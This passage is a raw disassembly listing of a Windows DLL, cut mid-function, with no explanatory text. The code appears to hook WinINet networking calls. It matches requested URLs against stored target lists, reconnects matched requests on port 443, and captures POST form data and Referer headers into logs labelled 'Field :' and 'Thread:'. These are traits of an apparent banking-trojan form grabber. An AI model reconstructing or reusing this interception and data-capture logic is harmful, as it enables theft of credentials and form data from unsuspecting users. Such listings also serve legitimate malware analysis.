		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	eax, 1
		jnz	short loc_10011F85


loc_10011F79:				; CODE XREF: sub_10011E49+11Cj
		mov	edx, [ebp+arg_18]
		or	edx, 4000000h
		mov	[ebp+arg_18], edx


loc_10011F85:				; CODE XREF: sub_10011E49+12Ej
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+lpString2]
		push	edx
		mov	eax, [ebp+Str1]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_10073A4C
		mov	[ebp+var_38C], eax
		lea	edx, [ebp+var_124]
		push	edx
		lea	eax, [ebp+String2]
		push	eax
		push	22h
		mov	ecx, [ebp+var_38C]
		push	ecx
		call	ds:InternetQueryOptionA	; InternetQueryOptionA
		mov	[ebp+var_598], eax


loc_10011FD4:				; CODE XREF: sub_10011E49+497j
		mov	edx, [ebp+var_1C]
		cmp	dword_1003F130[edx*4], 0
		jz	loc_100122E5
		cmp	[ebp+var_1C], 190h
		jge	loc_100122E5
		mov	eax, [ebp+arg_18]
		and	eax, 4000000h
		test	eax, eax
		jz	loc_100122E5
		push	offset asc_1002387C ; "//"
		mov	ecx, [ebp+var_1C]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1001204F
		push	offset asc_10023880 ; "//"
		mov	ecx, [ebp+var_1C]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		add	eax, 2
		push	eax		; lpString2
		lea	ecx, [ebp+Str2]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10012069
; ---------------------------------------------------------------------------


loc_1001204F:				; CODE XREF: sub_10011E49+1D6j
		mov	edx, [ebp+var_1C]
		mov	eax, dword_1003F130[edx*4]
		mov	ecx, [eax]
		push	ecx		; lpString2
		lea	edx, [ebp+Str2]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10012069:				; CODE XREF: sub_10011E49+204j
		push	2Fh		; Val
		lea	eax, [ebp+Str2]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_100120B4
		push	2Fh		; Val
		lea	ecx, [ebp+Str2]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		push	eax		; lpString2
		lea	edx, [ebp+String]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		lea	eax, [ebp+Str2]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0


loc_100120B4:				; CODE XREF: sub_10011E49+234j
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jnz	short loc_100120D7
		push	offset asc_10023884 ; "/"
		lea	edx, [ebp+String]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_100120D7:				; CODE XREF: sub_10011E49+27Aj
		push	0		; int
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	ecx, [ebp+String2]
		push	ecx		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_100122D7
		push	0		; int
		lea	edx, [ebp+String]
		push	edx		; Str2
		mov	eax, [ebp+lpString]
		push	eax		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_100122D7
		mov	ecx, [ebp+var_1C]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+10h]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		test	eax, eax
		jz	loc_100121CA
		mov	ecx, [ebp+var_1C]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx]
		push	eax		; Str2
		lea	ecx, [ebp+String2]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10012172
		mov	edx, [ebp+var_1C]
		mov	eax, dword_1003F130[edx*4]
		mov	ecx, [eax+10h]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	eax, 1
		jz	short loc_100121CA


loc_10012172:				; CODE XREF: sub_10011E49+30Bj
		mov	edx, [ebp+var_1C]
		mov	eax, dword_1003F130[edx*4]
		mov	ecx, [eax]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str2
		lea	edx, [ebp+String2]
		push	edx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100122D7
		mov	eax, [ebp+var_1C]
		mov	ecx, dword_1003F130[eax*4]
		mov	edx, [ecx+10h]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	eax, 2
		jnz	loc_100122D7


loc_100121CA:				; CODE XREF: sub_10011E49+2E7j
					; sub_10011E49+327j
		mov	eax, [ebp+var_38C]
		push	eax
		call	ds:InternetCloseHandle	; InternetCloseHandle
		lea	ecx, [ebp+var_124]
		push	ecx
		lea	edx, [ebp+var_59C]
		push	edx
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:InternetQueryOptionA	; InternetQueryOptionA
		mov	[ebp+var_598], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString2
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		lea	edx, [ebp+String1]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012266
		push	2Fh		; Val
		lea	eax, [ebp+String1]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0
		push	2Fh		; Val
		mov	ecx, [ebp+var_1C]
		mov	edx, dword_1003F130[ecx*4]
		mov	eax, [edx+4]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		push	eax		; lpString2
		lea	ecx, [ebp+var_590]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10012278
; ---------------------------------------------------------------------------


loc_10012266:				; CODE XREF: sub_10011E49+3DDj
		push	offset asc_10023888 ; "/"
		lea	edx, [ebp+var_590]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10012278:				; CODE XREF: sub_10011E49+41Bj
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		push	3
		push	0
		push	0
		push	1BBh
		lea	edx, [ebp+String1]
		push	edx
		mov	eax, [ebp+var_59C]
		push	eax
		call	ds:InternetConnectA	; InternetConnectA
		mov	[ebp+var_5A0], eax
		mov	ecx, [ebp+arg_1C]
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		lea	eax, [ebp+var_590]
		push	eax
		mov	ecx, [ebp+Str1]
		push	ecx
		mov	edx, [ebp+var_5A0]
		push	edx
		call	dword_10073A4C
		mov	[ebp+var_38C], eax


loc_100122D7:				; CODE XREF: sub_10011E49+2A8j
					; sub_10011E49+2C8j ...
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax
		jmp	loc_10011FD4
; ---------------------------------------------------------------------------


loc_100122E5:				; CODE XREF: sub_10011E49+196j
					; sub_10011E49+1A3j ...
		mov	[ebp+var_1C], 0


loc_100122EC:				; CODE XREF: sub_10011E49+6CEj
		mov	ecx, [ebp+var_1C]
		cmp	dword_10034464[ecx*4], 0
		jz	loc_1001251C
		cmp	[ebp+var_1C], 190h
		jge	loc_1001251C
		push	offset asc_1002388C ; "//"
		mov	edx, [ebp+var_1C]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012357
		push	offset asc_10023890 ; "//"
		mov	edx, [ebp+var_1C]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		add	eax, 2
		push	eax		; lpString2
		lea	edx, [ebp+Str2]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_10012371
; ---------------------------------------------------------------------------


loc_10012357:				; CODE XREF: sub_10011E49+4DEj
		mov	eax, [ebp+var_1C]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString2
		lea	eax, [ebp+Str2]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10012371:				; CODE XREF: sub_10011E49+50Cj
		push	2Fh		; Val
		lea	ecx, [ebp+Str2]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_100123BE
		push	2Fh		; Val
		lea	edx, [ebp+Str2]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		push	eax		; lpString2
		lea	eax, [ebp+String]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		lea	ecx, [ebp+Str2]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0
		jmp	short loc_100123D0
; ---------------------------------------------------------------------------


loc_100123BE:				; CODE XREF: sub_10011E49+53Cj
		push	offset asc_10023894 ; "/"
		lea	edx, [ebp+String]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_100123D0:				; CODE XREF: sub_10011E49+573j
		push	0		; int
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	ecx, [ebp+String2]
		push	ecx		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_1001250E
		push	0		; int
		lea	edx, [ebp+String]
		push	edx		; Str2
		mov	eax, [ebp+lpString]
		push	eax		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_1001250E


loc_10012410:				; CODE XREF: sub_10011E49+5F2j
		mov	ecx, [ebp+var_490]
		cmp	dword_10073A5C[ecx*4], 0
		jz	short loc_1001243D
		cmp	[ebp+var_490], 190h
		jge	short loc_1001243D
		mov	edx, [ebp+var_490]
		add	edx, 1
		mov	[ebp+var_490], edx
		jmp	short loc_10012410
; ---------------------------------------------------------------------------


loc_1001243D:				; CODE XREF: sub_10011E49+5D5j
					; sub_10011E49+5E1j
		push	18h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_490]
		mov	dword_10073A5C[ecx*4], eax
		mov	edx, [ebp+var_490]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		mov	edx, [ebp+var_490]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [ebp+var_38C]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_490]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [ebp+arg_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax+20h]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	edx, [ebp+var_490]
		mov	ecx, dword_10073A5C[edx*4]
		mov	[ecx+10h], eax
		lea	edx, [ebp+String2]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	[edx+4], eax
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, [ebp+var_594]
		add	ecx, 1
		mov	[ebp+var_594], ecx


loc_1001250E:				; CODE XREF: sub_10011E49+5A1j
					; sub_10011E49+5C1j
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	loc_100122EC
; ---------------------------------------------------------------------------


loc_1001251C:				; CODE XREF: sub_10011E49+4AEj
					; sub_10011E49+4BBj
		mov	[ebp+var_1C], 0
		mov	[ebp+var_490], 0


loc_1001252D:				; CODE XREF: sub_10011E49+92Bj
		mov	eax, [ebp+var_1C]
		cmp	lpString1[eax*4], 0
		jz	loc_10012779
		cmp	[ebp+var_1C], 190h
		jge	loc_10012779
		push	offset asc_10023898 ; "//"
		mov	ecx, [ebp+var_1C]
		mov	edx, lpString1[ecx*4]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012594
		push	offset asc_1002389C ; "//"
		mov	eax, [ebp+var_1C]
		mov	ecx, lpString1[eax*4]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		add	eax, 2
		push	eax		; lpString2
		lea	edx, [ebp+Str2]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		jmp	short loc_100125AC
; ---------------------------------------------------------------------------


loc_10012594:				; CODE XREF: sub_10011E49+71Dj
		mov	eax, [ebp+var_1C]
		mov	ecx, lpString1[eax*4]
		push	ecx		; lpString2
		lea	edx, [ebp+Str2]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_100125AC:				; CODE XREF: sub_10011E49+749j
		push	2Fh		; Val
		lea	eax, [ebp+Str2]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_100125F9
		push	2Fh		; Val
		lea	ecx, [ebp+Str2]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		push	eax		; lpString2
		lea	edx, [ebp+String]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	2Fh		; Val
		lea	eax, [ebp+Str2]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0
		jmp	short loc_1001260B
; ---------------------------------------------------------------------------


loc_100125F9:				; CODE XREF: sub_10011E49+777j
		push	offset asc_100238A0 ; "/"
		lea	ecx, [ebp+String]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_1001260B:				; CODE XREF: sub_10011E49+7AEj
		push	0		; int
		lea	edx, [ebp+Str2]
		push	edx		; Str2
		lea	eax, [ebp+String2]
		push	eax		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_1001276B
		push	0		; int
		lea	ecx, [ebp+String]
		push	ecx		; Str2
		mov	edx, [ebp+lpString]
		push	edx		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_1001276B


loc_1001264B:				; CODE XREF: sub_10011E49+82Dj
		mov	eax, [ebp+var_490]
		cmp	dword_10073A5C[eax*4], 0
		jz	short loc_10012678
		cmp	[ebp+var_490], 190h
		jge	short loc_10012678
		mov	ecx, [ebp+var_490]
		add	ecx, 1
		mov	[ebp+var_490], ecx
		jmp	short loc_1001264B
; ---------------------------------------------------------------------------


loc_10012678:				; CODE XREF: sub_10011E49+810j
					; sub_10011E49+81Cj
		push	18h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_490]
		mov	dword_10073A5C[edx*4], eax
		mov	eax, [ebp+var_1C]
		add	eax, 3E8h
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	[edx], eax
		mov	eax, [ebp+var_490]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ebp+var_38C]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_490]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ebp+arg_1C]
		mov	[ecx+0Ch], edx
		push	4Ch		; Val
		mov	eax, [ebp+var_1C]
		mov	ecx, dword_10035724[eax*4]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012700
		mov	edx, [ebp+var_490]
		mov	eax, dword_10073A5C[edx*4]
		mov	dword ptr [eax+10h], 2
		jmp	short loc_10012714
; ---------------------------------------------------------------------------


loc_10012700:				; CODE XREF: sub_10011E49+89Fj
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	dword ptr [edx+10h], 0


loc_10012714:				; CODE XREF: sub_10011E49+8B5j
		lea	eax, [ebp+String2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	[edx+4], eax
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, [ebp+var_594]
		add	ecx, 1
		mov	[ebp+var_594], ecx


loc_1001276B:				; CODE XREF: sub_10011E49+7DCj
					; sub_10011E49+7FCj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	loc_1001252D
; ---------------------------------------------------------------------------


loc_10012779:				; CODE XREF: sub_10011E49+6EFj
					; sub_10011E49+6FCj
		push	offset aPost	; "POST"
		mov	eax, [ebp+Str1]
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1001285C


loc_10012792:				; CODE XREF: sub_10011E49+974j
		mov	ecx, [ebp+var_490]
		cmp	dword_10073A5C[ecx*4], 0
		jz	short loc_100127BF
		cmp	[ebp+var_490], 190h
		jge	short loc_100127BF
		mov	edx, [ebp+var_490]
		add	edx, 1
		mov	[ebp+var_490], edx
		jmp	short loc_10012792
; ---------------------------------------------------------------------------


loc_100127BF:				; CODE XREF: sub_10011E49+957j
					; sub_10011E49+963j
		push	18h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_490]
		mov	dword_10073A5C[ecx*4], eax
		mov	edx, [ebp+var_490]
		mov	eax, dword_10073A5C[edx*4]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [ebp+var_38C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	dword ptr [edx+0Ch], 0FFFFFFFFh
		lea	eax, [ebp+String2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	[edx+4], eax
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_490]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_1001285C:				; CODE XREF: sub_10011E49+943j
		mov	ecx, [ebp+lpString]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_15
		jmp	short loc_1001287B
sub_10011E49	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10011E49


loc_1001287B:				; CODE XREF: sub_10011E49+A2Fj
		mov	eax, [ebp+var_38C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_10011E49

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10012894(int,	wchar_t	*lpWideCharStr,	int, char *Source, size_t Count)

sub_10012894	proc near		; DATA XREF: sub_1001338E+75o
					; sub_100134D4+75o

var_140		= dword	ptr -140h
Dest		= dword	ptr -13Ch
lpParameter	= dword	ptr -138h
var_134		= dword	ptr -134h
Memory		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
lpString	= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
cbMultiByte	= dword	ptr -11Ch
Str		= byte ptr -118h
var_117		= byte ptr -117h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpWideCharStr	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
Count		= dword	ptr  18h

; FUNCTION CHUNK AT 10012DB7 SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E588
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFED0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_134], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+Str], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_117]
		rep stosd
		stosw
		stosb
		mov	[ebp+lpString],	0
		mov	[ebp+var_124], 0FFh
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_124]
		push	eax
		lea	ecx, [ebp+Str]
		push	ecx
		push	22h
		mov	edx, [ebp+arg_0]
		push	edx
		call	ds:InternetQueryOptionA	; InternetQueryOptionA
		mov	[ebp+var_140], eax


loc_10012922:				; CODE XREF: sub_10012894+4EFj
		mov	eax, [ebp+var_134]
		cmp	dword_10073A5C[eax*4], 0
		jz	loc_10012D88
		cmp	[ebp+var_134], 190h
		jge	loc_10012D88
		mov	ecx, [ebp+var_134]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+8]
		cmp	eax, [ebp+arg_0]
		jnz	loc_10012D74
		cmp	[ebp+lpWideCharStr], 0
		jz	loc_10012AEF
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx		; Str
		call	ds:__imp_wcslen
		add	esp, 4
		lea	edx, [eax+eax+1]
		mov	[ebp+cbMultiByte], edx
		cmp	[ebp+cbMultiByte], 1
		jle	loc_10012AEF
		mov	eax, [ebp+cbMultiByte]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		mov	ecx, [ebp+cbMultiByte]
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dest], eax
		mov	edx, [ebp+cbMultiByte]
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Dest]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		mov	ecx, [ebp+cbMultiByte]
		push	ecx		; cbMultiByte
		mov	edx, [ebp+Memory]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		mov	eax, [ebp+lpWideCharStr]
		push	eax		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		push	0FFFFFFFFh	; int
		mov	ecx, [ebp+Dest]
		push	ecx		; Dest
		push	offset dword_10073E0C ;	int
		push	offset aAcceptEncoding ; "\r\nAccept-Encoding: gzip, deflate"
		mov	edx, [ebp+Memory]
		push	edx		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	eax, [ebp+lpWideCharStr]
		push	eax		; Str
		call	ds:__imp_wcslen
		add	esp, 4
		push	eax		; cchWideChar
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		mov	edx, [ebp+Dest]
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [ebp+cbMultiByte]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString],	eax
		push	offset aReferer	; "Referer"
		mov	ecx, [ebp+Memory]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012ACF
		push	offset aReferer_0 ; "Referer"
		mov	edx, [ebp+Memory]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; lpString2
		mov	eax, [ebp+lpString]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jle	short loc_10012ACF
		push	offset asc_100238E0 ; "\r\n"
		mov	edx, [ebp+lpString]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10012ACF
		push	offset asc_100238E4 ; "\r\n"
		mov	eax, [ebp+lpString]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	byte ptr [eax+2], 0


loc_10012ACF:				; CODE XREF: sub_10012894+1D3j
					; sub_10012894+207j ...
		mov	ecx, [ebp+Memory]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+Dest]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10012AEF:				; CODE XREF: sub_10012894+CFj
					; sub_10012894+F3j
		cmp	[ebp+Count], 0
		jz	loc_10012D15
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_100238E8 ; "---------------"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	eax, [ebp+var_134]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx+4]
		push	edx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_100238F8 ; "--------------\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		cmp	[ebp+lpString],	0
		jz	short loc_10012B75
		mov	eax, [ebp+lpString]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jle	short loc_10012B65
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	ecx, [ebp+lpString]
		push	ecx		; Source
		call	sub_1000291D
		add	esp, 0Ch


loc_10012B65:				; CODE XREF: sub_10012894+2BCj
		mov	edx, [ebp+lpString]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10012B75:				; CODE XREF: sub_10012894+2ABj
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aField	; "Field :\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset String1	; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	8000h		; Size
		push	0		; Val
		push	offset String1	; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aThread	; "\r\n\r\nThread: "
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		mov	eax, [ebp+Count]
		push	eax		; int
		mov	ecx, [ebp+Source]
		push	ecx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_10023928 ; "\r\n\r\n\r\n"
		call	sub_1000291D
		add	esp, 0Ch


loc_10012BDF:				; CODE XREF: sub_10012894+47Cj
		mov	edx, [ebp+var_12C]
		cmp	Dst[edx*4], 0
		jz	loc_10012D15
		cmp	[ebp+var_12C], 190h
		jge	loc_10012D15
		push	0		; int
		mov	eax, [ebp+var_12C]
		mov	ecx, Dst[eax*4]
		mov	edx, [ecx+4]
		push	edx		; Str2
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_10012D01
		push	0Ch		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpParameter], eax
		mov	ecx, [ebp+lpParameter]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+var_134]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+lpParameter]
		mov	[edx+4], eax
		mov	eax, [ebp+var_134]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx+4]
		push	edx		; lpString2
		mov	eax, [ebp+lpParameter]
		mov	ecx, [eax+4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+Count]
		add	edx, 1
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+lpParameter]
		mov	[ecx+8], eax
		mov	edx, [ebp+Count]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpParameter]
		mov	ecx, [eax+8]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+Count]
		push	edx		; Count
		mov	eax, [ebp+Source]
